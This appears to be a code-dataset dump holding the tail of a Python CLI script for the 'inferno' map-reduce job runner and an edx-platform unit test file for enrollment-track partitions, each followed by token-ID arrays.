default=[], action="append", help="additional rule parameters (in yaml)") parser.add_argument( "-l", "--parameter-file", dest="parameter_file", default=None, action="append", help="additional rule parameters (in a yaml file)") parser.add_argument( "--data-file", dest="data_file", default=None, help="arbitrary data file made available to job") parser.add_argument( "--example_rules", dest="example_rules", help="create example rules") parser.add_argument( "--process-results", dest="process_results", default=None, help="given a module.job_id, just run the result processor") parser.add_argument( "--process-map", dest="process_map", default=None, help="resume a job using the mapresults of supplied module.job_id") parser.add_argument( "--daemon", dest="run_daemon", default=False, action="store_true", help="run inferno as a daemon") options = parser.parse_args(argv) if options.source_tags: options.source_tags = options.source_tags.split(',') if options.source_urls: qurls = options.source_urls.split(',') # the urls may be any kind of data, so commas may be quoted - account for this urls = [] trail = '' for qurl in qurls: if qurl.endswith('\\'): trail += qurl[:-1] + ',' else: if trail: urls.append(trail + qurl) trail = '' else: urls.append(qurl) if trail: urls.append(trail) options.source_urls = urls if options.day_start: if not options.day_offset: options.day_offset = 0 options.day_start = date.fromtimestamp(mktime(strptime( options.day_start, '%Y-%m-%d'))) result = options.__dict__ for parameter in options.parameters: result.update(yaml.load(parameter)) if options.parameter_file: try: result.update(yaml.load(open(options.parameter_file, "r"))) except Exception as e: message = "Error opening parameter file: %s %s" log.error(message, options.parameter_file, e) if options.data_file: try: data_file = open(options.data_file).readlines() result['data_file'] = data_file except Exception as e: message = "Could not open/process data file: %s %s" log.error(message, options.data_file, e) return result, parser def _get_settings(options): if options['settings_file']: settings = InfernoSettings(settings_file=options['settings_file']) else: settings = InfernoSettings() for key, value in options.iteritems(): if value is not None or key not in settings: settings[key] = value return settings def _setup_logging(settings): def _log_stdout(log): f = '%(asctime)s %(levelname)-5.5s %(process)d [%(name)s] %(message)s' logging.basicConfig(level=logging.DEBUG, format=f) log = logging.getLogger(__name__) if settings['immediate_rule']: _log_stdout(log) else: try: log_config = settings.get('log_config') logging.config.fileConfig( log_config, disable_existing_loggers=False) except Exception as e: log.error('Error setting up logging: %s' % e) _log_stdout(log) log.info('Starting inferno-%s', __version__) log.info('Settings: \n%r', settings) def main(argv=sys.argv): options, parser = _get_options(argv[1:]) settings = _get_settings(options) if options['example_rules']: try: os.mkdir(options['example_rules']) here = os.path.dirname(__file__) src_dir = os.path.join(here, '..', 'example_rules') src_dir = os.path.abspath(src_dir) dst_dir = os.path.abspath(options['example_rules']) for name in os.listdir(src_dir): if name.endswith('.py'): src = os.path.join(src_dir, name) dst = os.path.join(dst_dir, name) shutil.copy(src, dst) print '\n\tCreated example rules dir:\n\n\t\t%s' % dst_dir for name in os.listdir(dst_dir): print '\t\t\t', name except Exception as e: print 'Error creating example rules dir %r' % (e) finally: return _setup_logging(settings) for path in settings.get('extra_python_paths'): sys.path.insert(0, path) if options['process_results']: settings['no_purge'] = True rules_dir = options.get('rules_directory') if not rules_dir: rules_dir = settings.get('rules_directory') try: rule_name = options['process_results'].split('@')[0] job_name = options['process_results'].split('.')[1] rule = get_rules_by_name(rule_name, rules_dir, immediate=True)[0] job = InfernoJob(rule, settings) status, results = job.disco.results(job_name) if status == 'ready': if job.rule.rule_init_function: job.rule.rule_init_function(job.params) rule.result_processor(rule.result_iterator(results), params=job.params, job_id=job_name) except Exception as e: import traceback trace = traceback.format_exc(15) log.error(trace) log.error("Error processing results for job: %s %s" % (options['process_results'], e)) raise e elif options['process_map']: settings['no_purge'] = True rules_dir = options.get('rules_directory') if not rules_dir: rules_dir = settings.get('rules_directory') try: rule_name = options['process_map'].split('@')[0] job_name = options['process_map'].split('.')[1] rule = get_rules_by_name(rule_name, rules_dir, immediate=True)[0] rule.map_function = None rule.source_tags = [] disco, ddfs = get_disco_handle(settings.get('server')) rule.source_urls = disco.mapresults(job_name) job = InfernoJob(rule, settings) if job.start(): job.wait() except Exception as e: import traceback trace = traceback.format_exc(15) log.error(trace) log.error("Error processing map results for job: %s %s" % (options['process_map'], e)) raise e elif options['immediate_rule']: # run inferno in 'immediate' mode settings['no_purge'] = True setproctitle('inferno - immediate.%s' % options['immediate_rule']) immed_rule = settings.get('immediate_rule') rules_dir = settings.get('rules_directory') rules = get_rules_by_name(immed_rule, rules_dir, immediate=True) try: for rule in rules: execute_rule(rule, settings) except Exception as e: import traceback trace = traceback.format_exc(15) log.error('Job failed: %s' % e.message) log.error(trace) exit(1) elif options['run_daemon']: # run inferno in 'daemon' mode from inferno.lib.daemon import InfernoDaemon setproctitle('inferno - master') InfernoDaemon(settings).start() else: # Display help when no options specified parser.print_help() if __name__ == '__main__': main()
mit
[ 646, 2050, 14, 888, 199, 646, 747, 199, 646, 5145, 199, 646, 984, 199, 199, 646, 7534, 199, 646, 8864, 199, 199, 504, 2197, 492, 1434, 199, 504, 900, 492, 9199, 521, 199, 504, 900, 492, 620, 9367, 199, 199, 504, 663, 4687, 1213, 492, 663, 4687, 1213, 199, 199, 504, 18538, 889, 14, 773, 492, 636, 1023, 363, 199, 504, 18538, 889, 14, 773, 14, 2297, 331, 63, 832, 492, 664, 63, 2297, 331, 63, 2479, 199, 504, 18538, 889, 14, 773, 14, 2423, 492, 1010, 2412, 889, 6694, 199, 504, 18538, 889, 14, 773, 14, 2423, 63, 5933, 492, 5341, 63, 2200, 199, 504, 18538, 889, 14, 773, 14, 3892, 63, 4423, 492, 664, 63, 4423, 63, 991, 63, 354, 199, 504, 18538, 889, 14, 773, 14, 1751, 492, 1010, 2412, 889, 5268, 421, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 318, 485, 362, 63, 1419, 8, 3020, 304, 272, 4328, 275, 283, 607, 2412, 889, 26, 282, 2366, 2341, 15, 5270, 3555, 13131, 16179, 701, 2153, 331, 3530, 272, 1798, 275, 7534, 14, 10730, 8, 1802, 29, 3257, 9, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 86, 401, 267, 4320, 1023, 401, 267, 1595, 628, 1023, 401, 267, 1015, 9569, 83, 3295, 83, 7, 450, 661, 14578, 889, 297, 636, 1023, 8964, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 83, 401, 267, 4320, 1000, 401, 267, 2053, 628, 1000, 401, 267, 1720, 628, 4133, 2153, 331, 1654, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 69, 401, 267, 4320, 1751, 401, 267, 2053, 628, 1751, 63, 493, 401, 267, 1720, 628, 515, 370, 2202, 570, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 73, 401, 267, 4320, 20250, 13, 2200, 401, 267, 2053, 628, 20250, 63, 2200, 401, 267, 1720, 628, 2526, 665, 578, 10827, 28, 2200, 30, 9939, 436, 4458, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 89, 401, 267, 4320, 4423, 13, 3619, 401, 267, 2053, 628, 4423, 63, 3619, 401, 267, 1720, 628, 3619, 370, 2754, 367, 1010, 2412, 889, 4713, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 81, 401, 267, 4320, 4764, 13, 1131, 401, 267, 2053, 628, 4764, 63, 1131, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 1361, 734, 314, 9182, 83, 402, 314, 1350, 1827, 436, 971, 267, 4046, 5385, 12, 1325, 2793, 1133, 5341, 314, 2332, 334, 2118, 2997, 971, 267, 367, 10201, 4713, 315, 8569, 818, 6320, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 70, 401, 267, 4320, 3990, 401, 267, 2053, 628, 3990, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 3990, 6661, 402, 9182, 83, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 88, 401, 267, 4320, 928, 13, 22478, 401, 267, 2053, 628, 928, 63, 22478, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 928, 1010, 2412, 889, 1928, 6617, 1263, 4834, 4713, 334, 11241, 818, 6320, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 36, 401, 267, 4320, 2297, 331, 13, 1757, 401, 267, 2053, 628, 2297, 331, 63, 1757, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 1757, 2341, 15, 5270, 370, 2153, 331, 8559, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 68, 401, 267, 4320, 1757, 401, 267, 2053, 628, 1757, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 1757, 3305, 367, 18538, 889, 9451, 2393, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 80, 401, 267, 4320, 2913, 401, 267, 2053, 628, 2913, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 1199, 2153, 331, 30238, 666, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 84, 401, 267, 4320, 1365, 13, 2969, 401, 267, 2053, 628, 1365, 63, 2969, 401, 267, 1720, 628, 4415, 314, 366, 10434, 1350, 3762, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 85, 401, 267, 4320, 1365, 13, 3603, 401, 267, 2053, 628, 1365, 63, 3603, 401, 267, 1720, 628, 4415, 314, 1350, 8187, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 82, 401, 267, 4320, 1099, 13, 1450, 401, 267, 2053, 628, 1099, 63, 1450, 401, 267, 1720, 628, 4415, 314, 366, 10434, 754, 1947, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 51, 401, 267, 4320, 2977, 13, 928, 401, 267, 2053, 628, 2977, 63, 928, 401, 267, 1720, 628, 4415, 314, 1343, 5382, 367, 9182, 83, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 50, 401, 267, 4320, 2977, 13, 1842, 401, 267, 2053, 628, 2977, 63, 1842, 401, 267, 730, 29, 442, 12, 267, 1720, 628, 4415, 314, 5382, 1425, 367, 9182, 83, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 47, 401, 267, 4320, 2977, 13, 2743, 401, 267, 2053, 628, 2977, 63, 2743, 401, 267, 730, 29, 442, 12, 267, 1720, 628, 4415, 314, 7609, 4136, 370, 1343, 5382, 367, 9182, 83, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 48, 401, 267, 4320, 3214, 401, 267, 2053, 628, 3214, 401, 267, 849, 6034, 267, 1595, 628, 740, 401, 267, 1720, 628, 8460, 2332, 2633, 334, 262, 8864, 6320, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 76, 401, 267, 4320, 5329, 13, 493, 401, 267, 2053, 628, 5329, 63, 493, 401, 267, 849, 29, 403, 12, 267, 1595, 628, 740, 401, 267, 1720, 628, 8460, 2332, 2633, 334, 262, 282, 8864, 570, 6320, 339, 1798, 14, 525, 63, 2094, 8, 267, 4320, 576, 13, 493, 401, 267, 2053, 628, 576, 63, 493, 401, 267, 849, 29, 403, 12, 267, 1720, 628, 285, 8734, 666, 570, 6326, 2808, 370, 3906, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 4320, 2694, 63, 4423, 401, 267, 2053, 628, 2694, 63, 4423, 401, 267, 1720, 628, 981, 2893, 4713, 531, 339, 1798, 14, 525, 63, 2094 ]
[ 2050, 14, 888, 199, 646, 747, 199, 646, 5145, 199, 646, 984, 199, 199, 646, 7534, 199, 646, 8864, 199, 199, 504, 2197, 492, 1434, 199, 504, 900, 492, 9199, 521, 199, 504, 900, 492, 620, 9367, 199, 199, 504, 663, 4687, 1213, 492, 663, 4687, 1213, 199, 199, 504, 18538, 889, 14, 773, 492, 636, 1023, 363, 199, 504, 18538, 889, 14, 773, 14, 2297, 331, 63, 832, 492, 664, 63, 2297, 331, 63, 2479, 199, 504, 18538, 889, 14, 773, 14, 2423, 492, 1010, 2412, 889, 6694, 199, 504, 18538, 889, 14, 773, 14, 2423, 63, 5933, 492, 5341, 63, 2200, 199, 504, 18538, 889, 14, 773, 14, 3892, 63, 4423, 492, 664, 63, 4423, 63, 991, 63, 354, 199, 504, 18538, 889, 14, 773, 14, 1751, 492, 1010, 2412, 889, 5268, 421, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 318, 485, 362, 63, 1419, 8, 3020, 304, 272, 4328, 275, 283, 607, 2412, 889, 26, 282, 2366, 2341, 15, 5270, 3555, 13131, 16179, 701, 2153, 331, 3530, 272, 1798, 275, 7534, 14, 10730, 8, 1802, 29, 3257, 9, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 86, 401, 267, 4320, 1023, 401, 267, 1595, 628, 1023, 401, 267, 1015, 9569, 83, 3295, 83, 7, 450, 661, 14578, 889, 297, 636, 1023, 8964, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 83, 401, 267, 4320, 1000, 401, 267, 2053, 628, 1000, 401, 267, 1720, 628, 4133, 2153, 331, 1654, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 69, 401, 267, 4320, 1751, 401, 267, 2053, 628, 1751, 63, 493, 401, 267, 1720, 628, 515, 370, 2202, 570, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 73, 401, 267, 4320, 20250, 13, 2200, 401, 267, 2053, 628, 20250, 63, 2200, 401, 267, 1720, 628, 2526, 665, 578, 10827, 28, 2200, 30, 9939, 436, 4458, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 89, 401, 267, 4320, 4423, 13, 3619, 401, 267, 2053, 628, 4423, 63, 3619, 401, 267, 1720, 628, 3619, 370, 2754, 367, 1010, 2412, 889, 4713, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 81, 401, 267, 4320, 4764, 13, 1131, 401, 267, 2053, 628, 4764, 63, 1131, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 1361, 734, 314, 9182, 83, 402, 314, 1350, 1827, 436, 971, 267, 4046, 5385, 12, 1325, 2793, 1133, 5341, 314, 2332, 334, 2118, 2997, 971, 267, 367, 10201, 4713, 315, 8569, 818, 6320, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 70, 401, 267, 4320, 3990, 401, 267, 2053, 628, 3990, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 3990, 6661, 402, 9182, 83, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 88, 401, 267, 4320, 928, 13, 22478, 401, 267, 2053, 628, 928, 63, 22478, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 928, 1010, 2412, 889, 1928, 6617, 1263, 4834, 4713, 334, 11241, 818, 6320, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 36, 401, 267, 4320, 2297, 331, 13, 1757, 401, 267, 2053, 628, 2297, 331, 63, 1757, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 1757, 2341, 15, 5270, 370, 2153, 331, 8559, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 68, 401, 267, 4320, 1757, 401, 267, 2053, 628, 1757, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 1757, 3305, 367, 18538, 889, 9451, 2393, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 80, 401, 267, 4320, 2913, 401, 267, 2053, 628, 2913, 401, 267, 849, 29, 797, 12, 267, 1595, 628, 1617, 63, 2052, 401, 267, 1720, 628, 1199, 2153, 331, 30238, 666, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 84, 401, 267, 4320, 1365, 13, 2969, 401, 267, 2053, 628, 1365, 63, 2969, 401, 267, 1720, 628, 4415, 314, 366, 10434, 1350, 3762, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 85, 401, 267, 4320, 1365, 13, 3603, 401, 267, 2053, 628, 1365, 63, 3603, 401, 267, 1720, 628, 4415, 314, 1350, 8187, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 82, 401, 267, 4320, 1099, 13, 1450, 401, 267, 2053, 628, 1099, 63, 1450, 401, 267, 1720, 628, 4415, 314, 366, 10434, 754, 1947, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 51, 401, 267, 4320, 2977, 13, 928, 401, 267, 2053, 628, 2977, 63, 928, 401, 267, 1720, 628, 4415, 314, 1343, 5382, 367, 9182, 83, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 50, 401, 267, 4320, 2977, 13, 1842, 401, 267, 2053, 628, 2977, 63, 1842, 401, 267, 730, 29, 442, 12, 267, 1720, 628, 4415, 314, 5382, 1425, 367, 9182, 83, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 47, 401, 267, 4320, 2977, 13, 2743, 401, 267, 2053, 628, 2977, 63, 2743, 401, 267, 730, 29, 442, 12, 267, 1720, 628, 4415, 314, 7609, 4136, 370, 1343, 5382, 367, 9182, 83, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 48, 401, 267, 4320, 3214, 401, 267, 2053, 628, 3214, 401, 267, 849, 6034, 267, 1595, 628, 740, 401, 267, 1720, 628, 8460, 2332, 2633, 334, 262, 8864, 6320, 339, 1798, 14, 525, 63, 2094, 8, 267, 3905, 76, 401, 267, 4320, 5329, 13, 493, 401, 267, 2053, 628, 5329, 63, 493, 401, 267, 849, 29, 403, 12, 267, 1595, 628, 740, 401, 267, 1720, 628, 8460, 2332, 2633, 334, 262, 282, 8864, 570, 6320, 339, 1798, 14, 525, 63, 2094, 8, 267, 4320, 576, 13, 493, 401, 267, 2053, 628, 576, 63, 493, 401, 267, 849, 29, 403, 12, 267, 1720, 628, 285, 8734, 666, 570, 6326, 2808, 370, 3906, 531, 339, 1798, 14, 525, 63, 2094, 8, 267, 4320, 2694, 63, 4423, 401, 267, 2053, 628, 2694, 63, 4423, 401, 267, 1720, 628, 981, 2893, 4713, 531, 339, 1798, 14, 525, 63, 2094, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
philanthropy-u/edx-platform
openedx/core/djangoapps/verified_track_content/tests/test_partition_scheme.py
2
8983
""" Tests for verified_track_content/partition_scheme.py. """ from datetime import datetime, timedelta import pytz from course_modes.models import CourseMode from student.models import CourseEnrollment from student.tests.factories import UserFactory from xmodule.modulestore.tests.django_utils import SharedModuleStoreTestCase from xmodule.modulestore.tests.factories import CourseFactory from xmodule.partitions.partitions import MINIMUM_STATIC_PARTITION_ID, UserPartition, ReadOnlyUserPartitionError from ..models import VerifiedTrackCohortedCourse from ..partition_scheme import ENROLLMENT_GROUP_IDS, EnrollmentTrackPartitionScheme, EnrollmentTrackUserPartition class EnrollmentTrackUserPartitionTest(SharedModuleStoreTestCase): """ Tests for the custom EnrollmentTrackUserPartition (dynamic groups). """ @classmethod def setUpClass(cls): super(EnrollmentTrackUserPartitionTest, cls).setUpClass() cls.course = CourseFactory.create() def test_only_default_mode(self): partition = create_enrollment_track_partition(self.course) groups = partition.groups self.assertEqual(1, len(groups)) self.assertEqual("Audit", groups[0].name) def test_using_verified_track_cohort(self): VerifiedTrackCohortedCourse.objects.create(course_key=self.course.id, enabled=True).save() partition = create_enrollment_track_partition(self.course) self.assertEqual(0, len(partition.groups)) def test_multiple_groups(self): create_mode(self.course, CourseMode.AUDIT, "Audit Enrollment Track", min_price=0) # Note that the verified mode is expired-- this is intentional. create_mode( self.course, CourseMode.VERIFIED, "Verified Enrollment Track", min_price=1, expiration_datetime=datetime.now(pytz.UTC) + timedelta(days=-1) ) # Note that the credit mode is not selectable-- this is intentional so we # can test that it is filtered out. create_mode(self.course, CourseMode.CREDIT_MODE, "Credit Mode", min_price=2) partition = create_enrollment_track_partition(self.course) groups = partition.groups self.assertEqual(2, len(groups)) self.assertIsNotNone(self.get_group_by_name(partition, "Audit Enrollment Track")) self.assertIsNotNone(self.get_group_by_name(partition, "Verified Enrollment Track")) def test_to_json_supported(self): user_partition_json = create_enrollment_track_partition(self.course).to_json() self.assertEqual('Test Enrollment Track Partition', user_partition_json['name']) self.assertEqual('enrollment_track', user_partition_json['scheme']) self.assertEqual('Test partition for segmenting users by enrollment track', user_partition_json['description']) def test_from_json_not_supported(self): user_partition_json = create_enrollment_track_partition(self.course).to_json() with self.assertRaises(ReadOnlyUserPartitionError): UserPartition.from_json(user_partition_json) def test_group_ids(self): """ Test that group IDs are all less than MINIMUM_STATIC_PARTITION_ID (to avoid overlapping with group IDs associated with cohort and random user partitions). """ for mode in ENROLLMENT_GROUP_IDS: self.assertLess(ENROLLMENT_GROUP_IDS[mode]['id'], MINIMUM_STATIC_PARTITION_ID) @staticmethod def get_group_by_name(partition, name): """ Return the group in the EnrollmentTrackUserPartition with the given name. If no such group exists, returns `None`. """ for group in partition.groups: if group.name == name: return group return None class EnrollmentTrackPartitionSchemeTest(SharedModuleStoreTestCase): """ Tests for EnrollmentTrackPartitionScheme. """ @classmethod def setUpClass(cls): super(EnrollmentTrackPartitionSchemeTest, cls).setUpClass() cls.course = CourseFactory.create() cls.student = UserFactory() def test_get_scheme(self): """ Ensure that the scheme extension is correctly plugged in (via entry point in setup.py) """ self.assertEquals(UserPartition.get_scheme('enrollment_track'), EnrollmentTrackPartitionScheme) def test_create_user_partition(self): user_partition = UserPartition.get_scheme('enrollment_track').create_user_partition( 301, "partition", "test partition", parameters={"course_id": unicode(self.course.id)} ) self.assertEqual(type(user_partition), EnrollmentTrackUserPartition) self.assertEqual(user_partition.name, "partition") groups = user_partition.groups self.assertEqual(1, len(groups)) self.assertEqual("Audit", groups[0].name) def test_not_enrolled(self): self.assertIsNone(self._get_user_group()) def test_default_enrollment(self): CourseEnrollment.enroll(self.student, self.course.id) self.assertEqual("Audit", self._get_user_group().name) def test_enrolled_in_nonexistent_mode(self): CourseEnrollment.enroll(self.student, self.course.id, mode=CourseMode.VERIFIED) self.assertEqual("Audit", self._get_user_group().name) def test_enrolled_in_verified(self): create_mode(self.course, CourseMode.VERIFIED, "Verified Enrollment Track", min_price=1) CourseEnrollment.enroll(self.student, self.course.id, mode=CourseMode.VERIFIED) self.assertEqual("Verified Enrollment Track", self._get_user_group().name) def test_enrolled_in_expired(self): create_mode( self.course, CourseMode.VERIFIED, "Verified Enrollment Track", min_price=1, expiration_datetime=datetime.now(pytz.UTC) + timedelta(days=-1) ) CourseEnrollment.enroll(self.student, self.course.id, mode=CourseMode.VERIFIED) self.assertEqual("Verified Enrollment Track", self._get_user_group().name) def test_enrolled_in_non_selectable(self): create_mode(self.course, CourseMode.CREDIT_MODE, "Credit Enrollment Track", min_price=1) CourseEnrollment.enroll(self.student, self.course.id, mode=CourseMode.CREDIT_MODE) # The default mode is returned because Credit mode is filtered out, and no verified mode exists. self.assertEqual("Audit", self._get_user_group().name) # Now create a verified mode and check that it is returned for the learner enrolled in Credit. create_mode(self.course, CourseMode.VERIFIED, "Verified Enrollment Track", min_price=1) self.assertEqual("Verified Enrollment Track", self._get_user_group().name) def test_credit_after_upgrade_deadline(self): create_mode(self.course, CourseMode.CREDIT_MODE, "Credit Enrollment Track", min_price=1) CourseEnrollment.enroll(self.student, self.course.id, mode=CourseMode.CREDIT_MODE) # Create a verified mode and check that it is returned for the learner enrolled in Credit. # Make the mode "expired" to ensure that credit users can still see verified-only content after # the upgrade deadline has passed (see EDUCATOR-1511 for why this matters). create_mode( self.course, CourseMode.VERIFIED, "Verified Enrollment Track", min_price=1, expiration_datetime=datetime.now(pytz.UTC) + timedelta(days=-1) ) self.assertEqual("Verified Enrollment Track", self._get_user_group().name) def test_using_verified_track_cohort(self): VerifiedTrackCohortedCourse.objects.create(course_key=self.course.id, enabled=True).save() CourseEnrollment.enroll(self.student, self.course.id) self.assertIsNone(self._get_user_group()) def _get_user_group(self): """ Gets the group the user is assigned to. """ user_partition = create_enrollment_track_partition(self.course) return user_partition.scheme.get_group_for_user(self.course.id, self.student, user_partition) def create_enrollment_track_partition(course): """ Create an EnrollmentTrackUserPartition instance for the given course. """ enrollment_track_scheme = UserPartition.get_scheme("enrollment_track") partition = enrollment_track_scheme.create_user_partition( id=1, name="Test Enrollment Track Partition", description="Test partition for segmenting users by enrollment track", parameters={"course_id": unicode(course.id)} ) return partition def create_mode(course, mode_slug, mode_name, min_price=0, expiration_datetime=None): """ Create a new course mode for the given course. """ return CourseMode.objects.get_or_create( course_id=course.id, mode_display_name=mode_name, mode_slug=mode_slug, min_price=min_price, suggested_prices='', _expiration_datetime=expiration_datetime, currency='usd' )
agpl-3.0
[ 624, 199, 2925, 367, 16317, 63, 3885, 63, 1317, 15, 5312, 63, 5512, 14, 647, 14, 199, 624, 199, 504, 2197, 492, 2197, 12, 6871, 199, 199, 646, 15444, 199, 199, 504, 2518, 63, 10433, 14, 992, 492, 27312, 199, 504, 6474, 14, 992, 492, 18946, 199, 504, 6474, 14, 2219, 14, 15406, 492, 16047, 199, 504, 9872, 14, 10012, 14, 2219, 14, 1176, 63, 1208, 492, 23752, 27863, 199, 504, 9872, 14, 10012, 14, 2219, 14, 15406, 492, 17862, 199, 504, 9872, 14, 12553, 14, 12553, 492, 15861, 27078, 63, 10449, 63, 30407, 63, 998, 12, 2876, 13068, 12, 5574, 5903, 1899, 13068, 547, 199, 199, 504, 2508, 992, 492, 5444, 4541, 7927, 967, 22981, 6979, 199, 504, 2508, 5312, 63, 5512, 492, 5070, 14881, 4479, 63, 7823, 63, 20857, 12, 3447, 6764, 7927, 13068, 19530, 12, 3447, 6764, 7927, 1899, 13068, 421, 199, 533, 3447, 6764, 7927, 1899, 13068, 774, 8, 12197, 27863, 304, 272, 408, 272, 6496, 367, 314, 3537, 3447, 6764, 7927, 1899, 13068, 334, 7764, 4652, 680, 272, 408, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 13842, 7927, 1899, 13068, 774, 12, 843, 680, 27777, 342, 267, 843, 14, 1972, 275, 17862, 14, 981, 342, 339, 347, 511, 63, 2118, 63, 885, 63, 632, 8, 277, 304, 267, 6484, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 9, 267, 4652, 275, 6484, 14, 2634, 267, 291, 14, 629, 8, 17, 12, 822, 8, 2634, 430, 267, 291, 14, 629, 480, 23601, 401, 4652, 59, 16, 1055, 354, 9, 339, 347, 511, 63, 4941, 63, 12949, 63, 3885, 63, 10403, 8, 277, 304, 267, 5444, 4541, 7927, 967, 22981, 6979, 14, 1462, 14, 981, 8, 1972, 63, 498, 29, 277, 14, 1972, 14, 344, 12, 5223, 29, 549, 680, 2117, 342, 267, 6484, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 9, 267, 291, 14, 629, 8, 16, 12, 822, 8, 5312, 14, 2634, 430, 339, 347, 511, 63, 6048, 63, 2634, 8, 277, 304, 267, 1218, 63, 632, 8, 277, 14, 1972, 12, 27312, 14, 33, 3383, 649, 12, 298, 23601, 3447, 6764, 17507, 401, 1748, 63, 4777, 29, 16, 9, 267, 327, 3390, 626, 314, 16317, 818, 365, 14721, 306, 642, 365, 25343, 279, 14, 267, 1218, 63, 632, 8, 288, 291, 14, 1972, 12, 27312, 14, 2111, 31223, 12, 298, 3673, 4541, 3447, 6764, 17507, 401, 1748, 63, 4777, 29, 17, 12, 288, 15399, 63, 2083, 29, 2083, 14, 2131, 8, 21948, 14, 11288, 9, 435, 6871, 8, 4899, 4022, 17, 9, 267, 776, 267, 327, 3390, 626, 314, 16630, 818, 365, 440, 23378, 306, 642, 365, 25343, 279, 880, 781, 267, 327, 883, 511, 626, 